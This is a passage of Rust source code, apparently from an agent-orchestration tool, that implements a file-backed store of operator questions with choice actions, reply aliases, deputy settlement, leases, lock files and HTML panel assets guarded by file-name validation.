1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 13;
66
67const POLL: Duration = Duration::from_secs(3);
76
77const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132const LOCK_STALE: Duration = Duration::from_secs(10);
135
136pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158const PANEL_DIR: &str = ".panel";
164
165const PANEL_HTML: &str = "index.html";
167
168const PANEL_TMP: &str = ".panel.tmp";
170
171pub fn valid_asset_name(name: &str) -> bool {
188 if name.is_empty() || name.len() > 64 || name.contains("..") {
189 return false;
190 }
191 let mut chars = name.chars();
192 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200 Open,
202 Answered,
204 Abandoned,
208}
209
210impl QuestionStatus {
211 pub fn open(self) -> bool {
213 matches!(self, Self::Open)
214 }
215
216 pub fn as_str(self) -> &'static str {
218 match self {
219 Self::Open => "open",
220 Self::Answered => "answered",
221 Self::Abandoned => "abandoned",
222 }
223 }
224}
225
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235 Choice(String),
237 Text(String),
239}
240
241#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251 Resume {
253 run: String,
255 },
256 RecoverBase {
258 run: String,
260 stop: crate::chat_control::BaseRecoveryStop,
262 episode: usize,
264 },
265 ResumeRun {
267 run: String,
269 },
270 ReleaseTask {
272 task: String,
274 held_at: jiff::Timestamp,
276 reason: Option<String>,
278 },
279 RerunChecks {
281 repo: PathBuf,
283 pr: String,
285 head: String,
287 runs: Vec<String>,
289 },
290 AbandonRun {
292 run: String,
294 },
295 Requeue,
297 Hold,
299 Done,
301}
302
303impl ChoiceAction {
304 pub fn maintenance(&self) -> bool {
306 matches!(
307 self,
308 Self::RecoverBase { .. }
309 | Self::ResumeRun { .. }
310 | Self::ReleaseTask { .. }
311 | Self::RerunChecks { .. }
312 | Self::AbandonRun { .. }
313 )
314 }
315
316 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
321 let split = spec
322 .find("={")
323 .map(|at| (&spec[..at], &spec[at + 1..]))
324 .or_else(|| spec.rsplit_once('='));
325 let Some((label, verb)) = split else {
326 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
327 };
328 let label = label.trim();
329 if label.is_empty() {
330 bail!("`--action {spec}` names no choice before `=`");
331 }
332 let verb = verb.trim();
333 if verb.starts_with('{') {
334 let action = serde_json::from_str(verb).context("parse typed choice action")?;
335 return Ok((label.to_owned(), action));
336 }
337 let action = match verb.split_once(':') {
338 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
339 run: run.trim().into(),
340 },
341 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
342 run: run.trim().into(),
343 },
344 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
345 run: run.trim().to_owned(),
346 },
347 None if verb == "resume" => {
348 if default_run.is_empty() {
349 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
350 }
351 Self::Resume {
352 run: default_run.to_owned(),
353 }
354 }
355 None if verb == "requeue" => Self::Requeue,
356 None if verb == "hold" => Self::Hold,
357 None if verb == "done" => Self::Done,
358 _ => bail!(
359 "unknown action `{verb}` in `--action {spec}`; \
360 use resume[:<run>], requeue, hold or done"
361 ),
362 };
363 Ok((label.to_owned(), action))
364 }
365
366 pub fn matches_alias(&self, input: &str) -> bool {
369 let input = input.trim();
370 match self {
371 Self::Resume { run } => {
372 [
373 "resume",
374 "resume run",
375 "resume-run",
376 "再開",
377 "実行再開",
378 "実行を再開",
379 "実行を再開する",
380 ]
381 .iter()
382 .any(|alias| input.eq_ignore_ascii_case(alias))
383 || [
384 format!("resume {run}"),
385 format!("resume:{run}"),
386 format!("resume run {run}"),
387 format!("resume {}", short(run)),
388 format!("resume run {}", short(run)),
389 ]
390 .iter()
391 .any(|alias| input.eq_ignore_ascii_case(alias))
392 }
393 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
394 .iter()
395 .any(|alias| input.eq_ignore_ascii_case(alias)),
396 _ => false,
397 }
398 }
399
400 pub fn describe(&self) -> String {
402 match self {
403 Self::Resume { run } => format!("resume run {}", short(run)),
404 Self::RecoverBase { run, .. } => format!(
405 "authorize bounded base recovery and queue run {}",
406 short(run)
407 ),
408 Self::ResumeRun { run } => format!("resume run {}", short(run)),
409 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
410 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
411 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
412 Self::Requeue => "requeue the task".to_owned(),
413 Self::Hold => "hold the task until the operator releases it".to_owned(),
414 Self::Done => "mark the task done".to_owned(),
415 }
416 }
417}
418
419pub fn parse_actions(
422 specs: &[String],
423 choices: &[String],
424 default_run: &str,
425) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
426 let mut out = std::collections::BTreeMap::new();
427 for spec in specs {
428 let (label, action) = ChoiceAction::parse(spec, default_run)?;
429 if !choices.contains(&label) {
430 bail!(
431 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
432 choices.join(", ")
433 );
434 }
435 if out.insert(label.clone(), action).is_some() {
436 bail!("more than one --action for `{label}`");
437 }
438 }
439 Ok(out)
440}
441
442#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
453#[serde(rename_all = "lowercase")]
454pub enum Who {
455 Operator,
457 Agent,
460}
461
462#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
470#[serde(deny_unknown_fields)]
471pub struct Turn {
472 pub who: Who,
474 pub body: String,
476 pub at: Timestamp,
478 #[serde(default, skip_serializing_if = "Option::is_none")]
483 pub note: Option<String>,
484}
485
486#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
488#[serde(rename_all = "lowercase")]
489pub enum WaiterKind {
490 Asker,
492 Daemon,
495 Deputy,
499}
500
501#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
513pub struct Deputy {
514 pub brief: String,
517 #[serde(default)]
519 pub agent: String,
520 #[serde(default)]
522 pub seat: Option<crate::agent::SeatState>,
523 #[serde(default)]
526 pub starts: u32,
527}
528
529impl Deputy {
530 pub fn new(brief: String) -> Self {
532 Self {
533 brief,
534 agent: String::new(),
535 seat: None,
536 starts: 0,
537 }
538 }
539}
540
541pub fn deputy_seat_key(id: &str) -> String {
543 format!("deputy-{}", short(id))
544}
545
546#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
551pub struct Waiter {
552 pub kind: WaiterKind,
554 pub since: Timestamp,
556}
557
558#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
567pub struct Lease {
568 pub kind: WaiterKind,
570 pub pid: u32,
572 pub beat_at: Timestamp,
574}
575
576impl Lease {
577 pub fn fresh(&self, now: Timestamp) -> bool {
579 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
580 }
581}
582
583#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
585#[serde(deny_unknown_fields)]
586pub struct Question {
587 pub schema: u32,
589 pub id: String,
592 pub run: String,
594 pub node: String,
596 pub seat: String,
599 pub summary: String,
602 pub detail: String,
605 #[serde(default, skip_serializing_if = "Option::is_none")]
607 pub posting_comparison: Option<crate::github_text::PostingComparison>,
608 pub choices: Vec<String>,
612 #[serde(default)]
614 pub merge_target: Option<crate::merge_decision::Target>,
615 #[serde(default)]
617 pub routed_task: Option<String>,
618 #[serde(default, skip_serializing_if = "std::ops::Not::not")]
621 pub legacy_foreground: bool,
622 #[serde(default)]
624 pub routed_chat: Option<String>,
625 #[serde(default, skip_serializing_if = "Option::is_none")]
628 pub publication_title: Option<String>,
629 #[serde(default)]
633 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
634 #[serde(default)]
641 pub panel: bool,
642 #[serde(default)]
649 pub assets: Vec<String>,
650 pub status: QuestionStatus,
652 pub asked_at: Timestamp,
654 #[serde(default)]
656 pub triage_generation: Option<u64>,
657 pub answered_at: Option<Timestamp>,
659 #[serde(default, skip_serializing_if = "Option::is_none")]
662 pub accepted_answer_at: Option<Timestamp>,
663 pub answer: Option<Answer>,
665 #[serde(default)]
674 pub thread: Vec<Turn>,
675 #[serde(default)]
690 pub answer_timeout: u64,
691 #[serde(default)]
697 pub cwd: Option<String>,
698 #[serde(default)]
700 pub waiter: Option<Waiter>,
701 #[serde(default)]
705 pub delivered_turns: usize,
706 #[serde(default)]
709 pub answer_delivered: bool,
710 #[serde(default)]
713 pub deputy: Option<Deputy>,
714 #[serde(default)]
718 pub consult: Option<ChatConsult>,
719 #[serde(default, skip_serializing_if = "Option::is_none")]
725 pub answer_authority: Option<LegacyAnswerAuthority>,
726 #[serde(default, skip_serializing_if = "Option::is_none")]
728 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
729 #[serde(default)]
732 pub decision_context: Option<String>,
733}
734
735#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
737pub struct ChatConsult {
738 pub talk: String,
740 pub at: Timestamp,
742}
743
744#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
748pub struct LegacyAnswerAuthority {
749 pub question: String,
751 pub choice: String,
753 pub instruction: String,
755}
756
757impl Question {
758 pub fn run_names_task(&self) -> bool {
761 matches!(
762 self.node.as_str(),
763 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
764 )
765 }
766
767 pub fn new(
770 run: String,
771 node: String,
772 seat: String,
773 summary: String,
774 detail: String,
775 choices: Vec<String>,
776 ) -> Self {
777 Self {
778 schema: SCHEMA,
779 id: new_id(),
780 run,
781 node,
782 seat,
783 summary,
784 detail,
785 posting_comparison: None,
786 choices,
787 merge_target: None,
788 routed_task: None,
789 legacy_foreground: false,
790 routed_chat: None,
791 publication_title: None,
792 actions: std::collections::BTreeMap::new(),
793 panel: false,
794 assets: Vec::new(),
795 status: QuestionStatus::Open,
796 asked_at: Timestamp::now(),
797 triage_generation: None,
798 answered_at: None,
799 accepted_answer_at: None,
800 answer: None,
801 thread: Vec::new(),
802 answer_timeout: 0,
803 cwd: None,
804 waiter: None,
805 delivered_turns: 0,
806 answer_delivered: false,
807 deputy: None,
808 consult: None,
809 answer_authority: None,
810 consult_outcome: None,
811 decision_context: None,
812 }
813 }
814
815 pub fn short(&self) -> &str {
817 short(&self.id)
818 }
819
820 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
823 match (&self.status, &self.answer) {
824 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
825 _ => None,
826 }
827 }
828
829 pub fn free_text(&self) -> bool {
831 self.choices.is_empty()
832 }
833
834 pub fn reply_guidance(&self) -> String {
837 self.choices
838 .iter()
839 .map(|label| {
840 let aliases: Vec<_> = ["resume-run", "keep-held"]
841 .into_iter()
842 .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
843 .collect();
844 let exact = serde_json::to_string(label).expect("serialize label");
845 let reply = if aliases.is_empty() {
846 format!("exact label: {exact}")
847 } else {
848 format!(
849 "exact label: {exact}; accepted aliases: {}",
850 aliases.join(", ")
851 )
852 };
853 match self.actions.get(label) {
854 Some(action) => {
855 format!("{reply}; effect (not reply text): {}", action.describe())
856 }
857 None => reply,
858 }
859 })
860 .collect::<Vec<_>>()
861 .join("\n")
862 }
863
864 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
867 if self.free_text() || self.choices.iter().any(|c| c == reply) {
868 return Ok(reply);
869 }
870 if ChoiceAction::Hold.matches_alias(reply)
871 && let Some(label) = self
872 .choices
873 .iter()
874 .find(|label| crate::triage::contextual_keep_held(self, label))
875 {
876 return Ok(label);
877 }
878 let matches: Vec<_> = self
879 .actions
880 .iter()
881 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
882 .collect();
883 match matches.as_slice() {
884 [(label, _)] => Ok(label.as_str()),
885 [] => bail!(
886 "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
887 serde_json::to_string(&self.choices).expect("serialize labels")
888 ),
889 _ => bail!(
890 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
891 ),
892 }
893 }
894
895 pub fn answer(&mut self, answer: Answer) -> Result<()> {
905 self.answer_inner(answer)
906 }
907
908 pub fn can_answer(&self) -> bool {
910 self.status.open()
911 }
912
913 pub(crate) fn answer_chat_button(
915 &mut self,
916 answer: Answer,
917 talk: &str,
918 head: &str,
919 ) -> Result<()> {
920 anyhow::ensure!(
921 self.routed_chat.as_deref() == Some(talk),
922 "wrong approval chat"
923 );
924 anyhow::ensure!(
925 self.merge_target.as_ref().is_some_and(|t| t.head == head),
926 "stale approval head"
927 );
928 self.answer_inner(answer)
929 }
930
931 fn answer_inner(&mut self, answer: Answer) -> Result<()> {
932 match (self.can_answer(), self.status) {
933 (false, QuestionStatus::Answered) => bail!(
934 "question {} was already answered; the run has moved on and a \
935 second answer would be a decision nobody acted on",
936 self.short()
937 ),
938 (false, QuestionStatus::Abandoned) => bail!(
939 "question {} was abandoned and the run behind it is gone",
940 self.short()
941 ),
942 _ => {}
943 }
944 let body = match &answer {
945 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
946 };
947 if body.trim().is_empty() {
948 bail!(
949 "question {} needs an answer; an empty one tells the agent \
950 nothing and it would guess anyway",
951 self.short()
952 );
953 }
954 match &answer {
955 Answer::Choice(c) if self.free_text() => bail!(
956 "question {} asks for free text, so `{c}` cannot be a choice \
957 it offered",
958 self.short()
959 ),
960 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
961 "`{c}` is not one of the choices question {} offers: {}",
962 self.short(),
963 self.choices.join(", ")
964 ),
965 Answer::Text(_) if !self.free_text() => bail!(
966 "question {} is multiple choice; answer with one of: {}",
967 self.short(),
968 self.choices.join(", ")
969 ),
970 _ => {}
971 }
972 if body.eq_ignore_ascii_case(crate::land::HOLD)
975 && self
976 .actions
977 .get(body)
978 .is_some_and(|a| *a != ChoiceAction::Hold)
979 {
980 bail!("hold cannot execute a question action");
981 }
982 self.answered_at = Some(Timestamp::now());
983 self.answer = Some(answer);
984 self.status = QuestionStatus::Answered;
985 Ok(())
986 }
987
988 pub fn abandon(&mut self, why: impl Into<String>) {
1000 if !self.status.open() {
1001 return;
1002 }
1003 self.status = QuestionStatus::Abandoned;
1004 let why = why.into();
1005 let why = why.trim();
1006 if why.is_empty() {
1007 return;
1008 }
1009 if !self.detail.is_empty() {
1010 self.detail.push('\n');
1011 }
1012 self.detail.push_str("\n_Abandoned: ");
1013 self.detail.push_str(why);
1014 self.detail.push_str("._\n");
1015 }
1016
1017 pub fn resolution(&self) -> Option<String> {
1024 match (self.status, &self.answer) {
1025 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1026 Some(a.clone())
1027 }
1028 _ => None,
1029 }
1030 }
1031
1032 pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1044 if self.routed_task.is_some() {
1045 bail!("task decisions are handled by the task chat, not a deputy");
1046 }
1047 let Some(deputy) = &self.deputy else {
1048 bail!("question {} has no deputy", self.short());
1049 };
1050 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1051 if own != Some(seat) {
1052 bail!("only the deputy of question {} may settle it", self.short());
1053 }
1054 if !self.choices.iter().any(|c| c == label) {
1055 bail!(
1056 "`{label}` is not one of the choices offered on question {}",
1057 self.short()
1058 );
1059 }
1060 self.answer(Answer::Choice(label.to_owned()))?;
1061 self.thread.push(Turn {
1062 who: Who::Agent,
1063 body: format!("Settled as `{label}` on the owner's words."),
1064 at: Timestamp::now(),
1065 note: note
1066 .map(str::trim)
1067 .filter(|n| !n.is_empty())
1068 .map(str::to_owned),
1069 });
1070 self.delivered_turns = self.thread.len();
1071 Ok(())
1072 }
1073
1074 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1085 match self.status {
1086 QuestionStatus::Answered => bail!(
1087 "question {} was already answered; there is nothing left to \
1088 discuss",
1089 self.short()
1090 ),
1091 QuestionStatus::Abandoned => bail!(
1092 "question {} was abandoned and the run behind it is gone",
1093 self.short()
1094 ),
1095 QuestionStatus::Open => {}
1096 }
1097 let body = body.into();
1098 if body.trim().is_empty() {
1099 bail!("a message to question {} cannot be empty", self.short());
1100 }
1101 self.thread.push(Turn {
1102 who: Who::Operator,
1103 body,
1104 at: Timestamp::now(),
1105 note: None,
1106 });
1107 Ok(())
1108 }
1109
1110 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1120 match self.status {
1121 QuestionStatus::Answered => bail!(
1122 "question {} was already answered; replying now would not \
1123 reach anyone",
1124 self.short()
1125 ),
1126 QuestionStatus::Abandoned => bail!(
1127 "question {} was abandoned and the run behind it is gone",
1128 self.short()
1129 ),
1130 QuestionStatus::Open => {}
1131 }
1132 let body = body.into();
1133 if body.trim().is_empty() {
1134 bail!("a reply to question {} cannot be empty", self.short());
1135 }
1136 self.actions.retain(|label, _| choices.contains(label));
1138 self.choices = choices;
1139 let unread = self.unread_from_owner().is_some();
1140 self.thread.push(Turn {
1141 who: Who::Agent,
1142 body,
1143 at: Timestamp::now(),
1144 note: None,
1145 });
1146 if !unread {
1150 self.delivered_turns = self.thread.len();
1151 }
1152 Ok(())
1153 }
1154
1155 pub fn unread_from_owner(&self) -> Option<String> {
1162 if !self.status.open() {
1163 return None;
1164 }
1165 let said = self.undelivered_owner_turns();
1166 (!said.is_empty()).then(|| said.join("\n\n"))
1167 }
1168
1169 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1175 let from = self.delivered_turns.min(self.thread.len());
1176 self.thread[from..]
1177 .iter()
1178 .filter(|t| t.who == Who::Operator)
1179 .map(|t| t.body.as_str())
1180 .collect()
1181 }
1182
1183 pub fn last_activity(&self) -> i64 {
1187 self.thread
1188 .iter()
1189 .map(|t| t.at.as_second())
1190 .max()
1191 .unwrap_or(0)
1192 .max(self.asked_at.as_second())
1193 }
1194
1195 pub fn waiting_on_agent(&self) -> bool {
1204 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1205 }
1206
1207 fn should_notify(&self, now: Timestamp) -> bool {
1215 let Some(last) = self
1216 .thread
1217 .iter()
1218 .rev()
1219 .find(|t| t.who == Who::Operator)
1220 .map(|t| t.at)
1221 else {
1222 return true;
1223 };
1224 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1225 }
1226}
1227
1228#[derive(Debug, Clone)]
1230pub struct Questions {
1231 root: PathBuf,
1232}
1233
1234impl Questions {
1235 pub fn open() -> Self {
1237 Self::at(crate::run::home().join("questions"))
1238 }
1239
1240 pub fn at(root: PathBuf) -> Self {
1243 Self { root }
1244 }
1245
1246 pub fn root(&self) -> &Path {
1248 &self.root
1249 }
1250
1251 pub fn path_of(&self, id: &str) -> PathBuf {
1253 self.root.join(format!("{id}.json"))
1254 }
1255
1256 pub fn panel_dir(&self, id: &str) -> PathBuf {
1258 self.root.join(format!("{id}{PANEL_DIR}"))
1259 }
1260
1261 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1285 if !valid_asset_name(&q.id) {
1286 bail!(
1287 "question id `{}` is not a name magi will build a panel path from",
1288 q.id
1289 );
1290 }
1291 if html.trim().is_empty() {
1292 bail!(
1293 "question {} was handed an empty panel; an empty frame reads to \
1294 the owner as \"the agent had nothing to say\", which is a lie",
1295 q.short()
1296 );
1297 }
1298
1299 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1302 for src in assets {
1303 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1304 if !valid_asset_name(name) {
1305 bail!(
1306 "panel asset `{}` cannot be stored: a panel file name must \
1307 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1308 src.display()
1309 );
1310 }
1311 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1312 bail!(
1313 "two panel assets are both named `{name}` - {} and {} - and \
1314 the panel can only show one of them; rename one at the source",
1315 first.display(),
1316 src.display()
1317 );
1318 }
1319 named.push((name.to_owned(), src.as_path()));
1320 }
1321
1322 let mut total = html.len() as u64;
1323 for (_, src) in &named {
1324 let meta = std::fs::metadata(src)
1325 .with_context(|| format!("stat panel asset {}", src.display()))?;
1326 if !meta.is_file() {
1327 bail!(
1328 "panel asset `{}` is not a file; a panel is html plus files \
1329 copied beside it",
1330 src.display()
1331 );
1332 }
1333 total = total.saturating_add(meta.len());
1334 }
1335 if total > PANEL_MAX_BYTES {
1336 bail!(
1337 "panel for question {} is {total} bytes, over magi's cap of \
1338 {PANEL_MAX_BYTES} bytes; nothing was written",
1339 q.short()
1340 );
1341 }
1342
1343 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1344 let dir = self.panel_dir(&q.id);
1345 std::fs::create_dir_all(&self.root)
1346 .with_context(|| format!("create {}", self.root.display()))?;
1347 clear_dir(&tmp)?;
1348 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1349 if let Err(e) = fill_panel(&tmp, html, &named) {
1350 let _ = std::fs::remove_dir_all(&tmp);
1353 return Err(e);
1354 }
1355 clear_dir(&dir)?;
1356 std::fs::rename(&tmp, &dir)
1357 .with_context(|| format!("move panel into {}", dir.display()))?;
1358
1359 q.panel = true;
1360 q.assets = named.into_iter().map(|(n, _)| n).collect();
1361 q.assets.sort_unstable();
1362 Ok(())
1363 }
1364
1365 pub fn panel_html(&self, id: &str) -> Option<String> {
1371 if !valid_asset_name(id) {
1372 return None;
1373 }
1374 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1375 }
1376
1377 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1388 if !valid_asset_name(name) {
1389 bail!(
1390 "`{name}` is not a panel file name; it must match \
1391 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1392 );
1393 }
1394 if !valid_asset_name(id) {
1395 return Ok(None);
1396 }
1397 let dir = self.panel_dir(id);
1398 if !dir.is_dir() {
1399 return Ok(None);
1400 }
1401 let path = dir.join(name);
1402 match std::fs::read(&path) {
1403 Ok(bytes) => Ok(Some(bytes)),
1404 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1405 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1406 }
1407 }
1408
1409 pub fn drop_panel(&self, id: &str) -> Result<()> {
1418 if !valid_asset_name(id) {
1419 bail!("question id `{id}` is not a name magi will build a panel path from");
1420 }
1421 clear_dir(&self.panel_dir(id))?;
1422 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1423 }
1424
1425 pub fn lease_path(&self, id: &str) -> PathBuf {
1427 self.root.join(format!("{id}.lease"))
1428 }
1429
1430 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1432 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1433 serde_json::from_str(&body).ok()
1434 }
1435
1436 pub fn beat(&self, id: &str, kind: WaiterKind) {
1443 let lease = Lease {
1444 kind,
1445 pid: std::process::id(),
1446 beat_at: Timestamp::now(),
1447 };
1448 let path = self.lease_path(id);
1449 let tmp = path.with_extension("lease.tmp");
1450 let written = std::fs::create_dir_all(&self.root)
1451 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1452 .and_then(|()| std::fs::rename(&tmp, &path));
1453 if let Err(e) = written {
1454 tracing::debug!("could not beat the lease on question {id}: {e}");
1455 }
1456 }
1457
1458 pub fn drop_lease(&self, id: &str) {
1460 let _ = std::fs::remove_file(self.lease_path(id));
1461 }
1462
1463 pub fn update<T>(
1474 &self,
1475 id: &str,
1476 f: impl FnOnce(&mut Question) -> Result<T>,
1477 ) -> Result<(Question, T)> {
1478 std::fs::create_dir_all(&self.root)
1479 .with_context(|| format!("create {}", self.root.display()))?;
1480 let lock = self.root.join(format!("{id}.lock"));
1481 let started = std::time::Instant::now();
1482 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1483 loop {
1484 match retry.create(&lock) {
1485 Ok(_) => break,
1486 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1487 let stale = std::fs::metadata(&lock)
1488 .and_then(|m| m.modified())
1489 .ok()
1490 .and_then(|t| t.elapsed().ok())
1491 .is_some_and(|age| age > LOCK_STALE);
1492 if stale {
1493 let _ = std::fs::remove_file(&lock);
1494 } else if started.elapsed() > LOCK_STALE {
1495 bail!("could not lock question {id}");
1496 } else {
1497 std::thread::sleep(Duration::from_millis(15));
1498 }
1499 }
1500 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1501 }
1502 }
1503 struct Unlock(PathBuf);
1504 impl Drop for Unlock {
1505 fn drop(&mut self) {
1506 let _ = std::fs::remove_file(&self.0);
1507 }
1508 }
1509 let _guard = Unlock(lock);
1510 let mut q = read_path(&self.path_of(id))?;
1511 let effective_dismissal = |q: &Question| {
1512 q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1513 && !self.root.parent().is_some_and(|home| {
1514 crate::task_chat::saved_reply_requires_confirmation(home, q)
1515 })
1516 };
1517 let was_dismissed = effective_dismissal(&q);
1518 let prior_answer = (q.answered_at, q.resolution());
1519 let out = f(&mut q)?;
1520 if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1521 let home = self.root.parent().context("question store has no home")?;
1522 q.accepted_answer_at = q.answered_at;
1523 crate::task_chat::accept_fresh_reply(home, &q)?;
1524 }
1525 if !was_dismissed && effective_dismissal(&q) {
1526 let home = self.root.parent().context("question store has no home")?;
1527 crate::merge_decision::dismiss(home, &q)?;
1528 }
1529 self.put(&mut q)?;
1530 Ok((q, out))
1531 }
1532
1533 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1536 anyhow::ensure!(
1537 q.actions.keys().all(|c| q.choices.contains(c)),
1538 "question action names an unoffered choice"
1539 );
1540 for label in &q.choices {
1541 anyhow::ensure!(
1542 crate::choice_effect::describe(q, label).is_some(),
1543 "question node {} offers an unsupported choice: {label}",
1544 q.node
1545 );
1546 }
1547 self.put(q)
1548 }
1549
1550 pub fn put(&self, q: &mut Question) -> Result<()> {
1554 if self.path_of(&q.id).exists()
1555 && let Ok(saved) = self.read_history(&q.id)
1556 && self.held_reply(&q.id)
1557 && (saved.status != q.status
1558 || saved.answer != q.answer
1559 || saved.answered_at != q.answered_at)
1560 && !(q.answer.is_some()
1561 && q.accepted_answer_at.is_some()
1562 && q.accepted_answer_at == q.answered_at)
1563 {
1564 bail!(
1565 "historical question {} requires inquiry reconciliation or explicit settlement; its saved reply cannot expire or be overwritten",
1566 q.id
1567 );
1568 }
1569 if q.status.open()
1570 && q.routed_task.is_none()
1571 && let Some(home) = self.root.parent()
1572 {
1573 let tasks = crate::queue::Queue::at(home.join("queue")).list();
1574 q.routed_task =
1575 crate::task_chat::task_of(q, &tasks).filter(|_| crate::task_chat::chat_routable(q));
1576 }
1577 std::fs::create_dir_all(&self.root)
1578 .with_context(|| format!("create {}", self.root.display()))?;
1579 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1580 let path = self.path_of(&q.id);
1581 let tmp = path.with_extension("json.tmp");
1582 let is_new = !path.exists();
1583 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1584 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1585 if is_new
1588 && q.status.open()
1589 && q.node != crate::bump::NOTICE_NODE
1590 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1591 {
1592 crate::notices::quiet_for(home, q);
1593 }
1594 Ok(())
1595 }
1596
1597 pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1600 anyhow::ensure!(
1601 !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1602 "invalid saved inquiry identity"
1603 );
1604 let q = read_path(&self.path_of(id))?;
1605 anyhow::ensure!(
1606 q.id == id,
1607 "saved inquiry identity does not match its filename"
1608 );
1609 Ok(q)
1610 }
1611
1612 pub fn get(&self, id: &str) -> Result<Question> {
1614 let resolved = self.resolve_id(id)?;
1615 let q = read_path(&self.path_of(&resolved))?;
1616 Ok(self.with_repair_choice(q))
1617 }
1618
1619 pub fn get_for_effects(&self, id: &str) -> Result<Question> {
1622 Ok(self.consumption_view(self.get(id)?))
1623 }
1624
1625 pub(crate) fn held_reply(&self, id: &str) -> bool {
1628 self.read_history(id).is_ok_and(|q| {
1629 self.root.parent().is_some_and(|home| {
1630 crate::task_chat::saved_reply_requires_confirmation(home, &q)
